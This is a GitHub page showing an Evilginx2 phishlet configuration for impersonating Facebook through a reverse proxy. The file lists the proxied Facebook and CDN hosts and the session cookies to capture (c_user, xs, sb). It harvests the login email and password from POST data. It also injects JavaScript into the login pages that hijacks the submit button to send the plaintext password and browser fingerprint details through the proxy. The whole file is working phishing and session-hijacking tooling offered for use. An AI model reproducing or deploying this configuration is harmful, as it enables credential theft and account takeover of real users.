forked from An0nUD4Y/Evilginx2-Phishlets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
facebook-d2.yaml
85 lines (81 loc) · 4.24 KB
/
facebook-d2.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
author: '@An0nud4y'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true}
- {phish_sub: 'm', orig_sub: 'm', domain: 'facebook.com', session: true, is_landing: false}
- {phish_sub: 'static', orig_sub: 'static', domain: 'xx.fbcdn.net', session: false, is_landing: false}
sub_filters:
- {triggers_on: 'www.facebook.com', orig_sub: 'www', domain: 'facebook.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.facebook.com', orig_sub: 'static', domain: 'xx.fbcdn.net', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
- {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
- {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '2F{hostname}', replace: '2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript']}
- {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '\\\\\\/\\\\\\/{hostname}', replace: '\\\\\\/\\\\\\/{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript']}
- {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: 'https:\/\/{hostname}\/', replace: 'https:\/\/{hostname}\/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
- {triggers_on: 'm.facebook.com', orig_sub: 'm', domain: 'facebook.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
- {triggers_on: 'static.xx.fbcdn.net', orig_sub: 'www', domain: 'facebook.com', search: ':"{domain}";', replace: ':"{domain}";', mimes: ['text/html', 'application/json', 'application/x-javascript']}
auth_tokens:
- domain: '.facebook.com'
keys: ['c_user','xs','sb']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'unenc_password'
search: '(.*)'
type: 'post'
custom:
- key: 'UserAgent'
search: '(.*)'
type: 'post'
- key: 'Browser'
search: '(.*)'
type: 'post'
- key: 'Engine'
search: '(.*)'
type: 'post'
- key: 'Platform'
search: '(.*)'
type: 'post'
login:
domain: 'www.facebook.com'
path: '/login.php'
js_inject:
- trigger_domains: ["www.facebook.com"]
trigger_paths: ["/login","/login.php", "/login/device-based/regular/login/", "/login/*"]
trigger_params: []
script: |
function onclickListener(){
var submit = document.querySelectorAll('button[type=submit]')[0];
submit.setAttribute("onclick", "sendPass()");
return;
}
function sendPass(){
var password = document.getElementsByName("pass")[0].value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/login/device-based/regular/login/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("unenc_password="+encodeURIComponent(password));
var xhr1 = new XMLHttpRequest();
var useragent = navigator.userAgent;
xhr1.open("POST", '/', true);
xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var xhr2 = new XMLHttpRequest();
var browser = navigator.appName;
xhr2.open("POST", '/', true);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("Browser="+encodeURIComponent(browser));
var xhr3 = new XMLHttpRequest();
var engine = navigator.product;
xhr3.open("POST", '/', true);
xhr3.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr3.send("Engine="+encodeURIComponent(engine));
var xhr4 = new XMLHttpRequest();
var platform = navigator.platform;
xhr4.open("POST", '/', true);
xhr4.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr4.send("Platform="+encodeURIComponent(platform));
return;
}
setTimeout(function(){ onclickListener(); }, 2500);